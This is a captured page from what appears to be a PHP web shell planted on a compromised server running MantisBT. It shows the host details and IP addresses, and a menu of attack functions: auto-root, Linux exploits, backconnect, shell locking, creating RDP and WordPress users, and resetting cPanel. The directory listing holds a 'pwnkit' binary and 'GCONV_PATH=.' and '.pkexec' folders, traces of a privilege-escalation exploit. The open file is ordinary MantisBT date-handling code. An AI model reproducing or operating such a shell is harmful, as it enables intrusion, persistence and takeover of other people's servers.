Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cfdefs
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
.htaccess
59
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
access_api.php
23.38
KB
-rw-r--r--
ajax_api.php
1.78
KB
-rw-r--r--
authentication_api.php
24.22
KB
-rw-r--r--
bug_api.php
59.38
KB
-rw-r--r--
bug_group_action_api.php
11.72
KB
-rw-r--r--
bug_revision_api.php
9.94
KB
-rw-r--r--
bugnote_api.php
22.03
KB
-rw-r--r--
category_api.php
18.27
KB
-rw-r--r--
collapse_api.php
6.54
KB
-rw-r--r--
columns_api.php
41.71
KB
-rw-r--r--
compress_api.php
4.26
KB
-rw-r--r--
config_api.php
20.95
KB
-rw-r--r--
constant_inc.php
15.77
KB
-rw-r--r--
csv_api.php
10.49
KB
-rw-r--r--
current_user_api.php
6.61
KB
-rw-r--r--
custom_field_api.php
44.01
KB
-rw-r--r--
custom_function_api.php
15.43
KB
-rw-r--r--
database_api.php
26.36
KB
-rw-r--r--
date_api.php
8.34
KB
-rw-r--r--
email_api.php
50.19
KB
-rw-r--r--
email_queue_api.php
4.91
KB
-rw-r--r--
error_api.php
12.19
KB
-rw-r--r--
event_api.php
9.3
KB
-rw-r--r--
events_inc.php
4.34
KB
-rw-r--r--
excel_api.php
19.57
KB
-rw-r--r--
file_api.php
32.11
KB
-rw-r--r--
filter_api.php
171.82
KB
-rw-r--r--
form_api.php
6.39
KB
-rw-r--r--
gpc_api.php
14.34
KB
-rw-r--r--
graphviz_api.php
13.6
KB
-rw-r--r--
helper_api.php
16.08
KB
-rw-r--r--
history_api.php
20.75
KB
-rw-r--r--
html_api.php
54.7
KB
-rw-r--r--
html_api_19-09-13.php
54.69
KB
-rw-r--r--
http_api.php
5.71
KB
-rw-r--r--
icon_api.php
2.67
KB
-rw-r--r--
json_api.php
3.37
KB
-rw-r--r--
lang_api.php
8.59
KB
-rw-r--r--
last_visited_api.php
2.82
KB
-rw-r--r--
ldap_api.php
15.59
KB
-rw-r--r--
logging_api.php
3.02
KB
-rw-r--r--
mobile_api.php
3.03
KB
-rw-r--r--
news_api.php
8.87
KB
-rw-r--r--
obsolete.php
5.39
KB
-rw-r--r--
php_api.php
3.17
KB
-rw-r--r--
plugin_api.php
24.38
KB
-rw-r--r--
prepare_api.php
3.32
KB
-rw-r--r--
print_api.php
63.29
KB
-rw-r--r--
profile_api.php
9.35
KB
-rw-r--r--
projax_api.php
3.22
KB
-rw-r--r--
project_api.php
25.56
KB
-rw-r--r--
project_hierarchy_api.php
9.88
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
relationship_api.php
32.31
KB
-rw-r--r--
relationship_graph_api.php
15.13
KB
-rw-r--r--
rss_api.php
4.41
KB
-rw-r--r--
session_api.php
7.69
KB
-rw-r--r--
sponsorship_api.php
12.25
KB
-rw-r--r--
string_api.php
29.12
KB
-rw-r--r--
summary_api.php
39.92
KB
-rw-r--r--
tag_api.php
22.85
KB
-rw-r--r--
tokens_api.php
7.64
KB
-rw-r--r--
twitter_api.php
4.51
KB
-rw-r--r--
url_api.php
2.06
KB
-rw-r--r--
user_api.php
40.99
KB
-rw-r--r--
user_pref_api.php
17.01
KB
-rw-r--r--
utility_api.php
7.63
KB
-rw-r--r--
version_api.php
21.15
KB
-rw-r--r--
wiki_api.php
2.2
KB
-rw-r--r--
xmlhttprequest_api.php
3.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : date_api.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * @package CoreAPI * @subpackage DateAPI * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org */ /** * Keeps track of whether the external files required for jscalendar to work * have already been included in the output sent to the client. jscalendar * will not work correctly if it is included multiple times on the same page. * @global bool $g_jscalendar_included_already */ $g_calendar_already_imported = false; /** * checks if date is null * @param int $p_date * @return bool * @access public */ function date_is_null( $p_date ) { return $p_date == date_get_null(); } /** * gets null date * @return int * @access public */ function date_get_null() { return 1; } $g_cache_timezone = array(); /** * set new timezone * @return null * @access public */ function date_set_timezone( $p_timezone ) { global $g_cache_timezone; array_push( $g_cache_timezone, date_default_timezone_get() ); if( !date_default_timezone_set( $p_timezone ) ) { // unable to set timezone trigger_error( ERROR_UPDATING_TIMEZONE, WARNING ); } } /** * restore previous timezone * @return null * @access public */ function date_restore_timezone( ) { global $g_cache_timezone; $t_timezone = array_pop( $g_cache_timezone ); if( $t_timezone === null ) { return; } if( !date_default_timezone_set( $t_timezone ) ) { // unable to set timezone trigger_error( ERROR_UPDATING_TIMEZONE, WARNING ); } } /** * * @param int $p_month * @return null * @access public */ function print_month_option_list( $p_month = 0 ) { for( $i = 1;$i <= 12;$i++ ) { $month_name = date( 'F', mktime( 0, 0, 0, $i, 1, 2000 ) ); if( $i == $p_month ) { echo "<option value=\"$i\" selected=\"selected\">" . lang_get( 'month_' . utf8_strtolower($month_name)) . "</option>"; } else { echo "<option value=\"$i\">" . lang_get( 'month_' . utf8_strtolower($month_name)) . "</option>"; } } } /** * * * @param int $p_month * @return null * @access public */ function print_numeric_month_option_list( $p_month = 0 ) { for( $i = 1;$i <= 12;$i++ ) { if( $i == $p_month ) { echo "<option value=\"$i\" selected=\"selected\">$i</option>"; } else { echo "<option value=\"$i\">$i</option>"; } } } /** * * @param int $p_day * @return null * @access public */ function print_day_option_list( $p_day = 0 ) { for( $i = 1;$i <= 31;$i++ ) { if( $i == $p_day ) { echo "<option value=\"$i\" selected=\"selected\">$i</option>"; } else { echo "<option value=\"$i\">$i</option>"; } } } /** * * @param int $p_year * @return null * @access public */ function print_year_option_list( $p_year = 0 ) { $current_year = date( "Y" ); for( $i = $current_year;$i > 1999;$i-- ) { if( $i == $p_year ) { echo "<option value=\"$i\" selected=\"selected\">$i</option>"; } else { echo "<option value=\"$i\">$i</option>"; } } } /** * * @param int $p_year * @param int $p_start * @param int $p_end * @return null * @access public */ function print_year_range_option_list( $p_year = 0, $p_start = 0, $p_end = 0 ) { $t_current = date( 'Y' ); $t_forward_years = config_get( 'forward_year_count' ); $t_start_year = $p_start; if( $t_start_year == 0 ) { $t_backward_years = config_get( 'backward_year_count' ); $t_start_year = $t_current - $t_backward_years; } if(( $p_year < $t_start_year ) && ( $p_year != 0 ) ) { $t_start_year = $p_year; } $t_end_year = $p_end; if( $t_end_year == 0 ) { $t_end_year = $t_current + $t_forward_years; } if( $p_year > $t_end_year ) { $t_end_year = $p_year + $t_forward_years; } for( $i = $t_start_year;$i <= $t_end_year;$i++ ) { if( $i == $p_year ) { echo "<option value=\"$i\" selected=\"selected\">$i</option>"; } else { echo "<option value=\"$i\">$i</option>"; } } } /** * * @param string $p_name * @param string $p_format * @param int $p_date * @param bool $p_default_disable * @param bool $p_allow_blank * @param int $p_year_start * @param int $p_year_end * @return null * @access public */ function print_date_selection_set( $p_name, $p_format, $p_date = 0, $p_default_disable = false, $p_allow_blank = false, $p_year_start = 0, $p_year_end = 0 ) { $t_chars = preg_split( '//', $p_format, -1, PREG_SPLIT_NO_EMPTY ); if( $p_date != 0 ) { $t_date = preg_split( '/-/', date( 'Y-m-d', $p_date ), -1, PREG_SPLIT_NO_EMPTY ); } else { $t_date = array( 0, 0, 0, ); } $t_disable = ''; if( $p_default_disable == true ) { $t_disable = ' disabled="disabled"'; } $t_blank_line = ''; if( $p_allow_blank == true ) { $t_blank_line = "<option value=\"0\"></option>"; } foreach( $t_chars as $t_char ) { if( strcmp( $t_char, "M" ) == 0 ) { echo "<select ", helper_get_tab_index(), " name=\"" . $p_name . "_month\"$t_disable>"; echo $t_blank_line; print_month_option_list( $t_date[1] ); echo "</select>\n"; } if( strcmp( $t_char, "m" ) == 0 ) { echo "<select ", helper_get_tab_index(), " name=\"" . $p_name . "_month\"$t_disable>"; echo $t_blank_line; print_month_option_list( $t_date[1] ); echo "</select>\n"; } if( strcasecmp( $t_char, "D" ) == 0 ) { echo "<select ", helper_get_tab_index(), " name=\"" . $p_name . "_day\"$t_disable>"; echo $t_blank_line; print_day_option_list( $t_date[2] ); echo "</select>\n"; } if( strcasecmp( $t_char, "Y" ) == 0 ) { echo "<select ", helper_get_tab_index(), " name=\"" . $p_name . "_year\"$t_disable>"; echo $t_blank_line; print_year_range_option_list( $t_date[0], $p_year_start, $p_year_end ); echo "</select>\n"; } } } /** * prints calendar icon and adds required javascript and css files if they * haven't already been imported. * button_name is name of button that will display calendar icon * in caste there are more than one calendar on page * @param string $p_button_name * @return null * @todo (thraxisp) this may want a browser check ( MS IE >= 5.0, Mozilla >= 1.0, Safari >=1.2, ...) * @access public */ function date_print_calendar( $p_button_name = 'trigger' ) { global $g_calendar_already_imported; if(( ON == config_get( 'dhtml_filters' ) ) && ( ON == config_get( 'use_javascript' ) ) ) { if ( !$g_calendar_already_imported ) { echo "<style type=\"text/css\">@import url(" . config_get( 'short_path' ) . "css/calendar-blue.css);</style>\n"; html_javascript_link( 'jscalendar/calendar.js' ); html_javascript_link( 'jscalendar/lang/calendar-en.js' ); html_javascript_link( 'jscalendar/calendar-setup.js' ); $g_calendar_already_imported = true; } $t_icon_path = config_get( 'icon_path' ); $t_cal_icon = $t_icon_path . "calendar-img.gif"; echo "<input type=\"image\" class=\"button\" id=\"" . $p_button_name . "\" src=\"" . $t_cal_icon . "\" />"; } } /** * creates javascript calendar objects, point to input element ($p_field_name) that * diaplays date, and connects it with calendar button ($p_button_name) created with * date_print_calendar. * @todo (thraxisp) this may want a browser check ( MS IE >= 5.0, Mozilla >= 1.0, Safari >=1.2, ...) * @param string $p_field_name * @param string $p_button_name * @return null * @access public */ function date_finish_calendar( $p_field_name, $p_button_name ) { if(( ON == config_get( 'dhtml_filters' ) ) && ( ON == config_get( 'use_javascript' ) ) ) { $t_format = config_get( 'calendar_js_date_format' ); echo "<script type=\"text/javascript\">\n"; echo "Calendar.setup (\n"; echo "{\n"; echo "inputField : \"" . $p_field_name . "\",\n"; echo "timeFormat : \"24\",\n"; echo "showsTime : true,\n"; echo "ifFormat : \"" . $t_format . "\", \n"; echo "button : \"" . $p_button_name . "\"\n"; echo "}\n"; echo ");\n"; echo "</script>\n"; } }
Close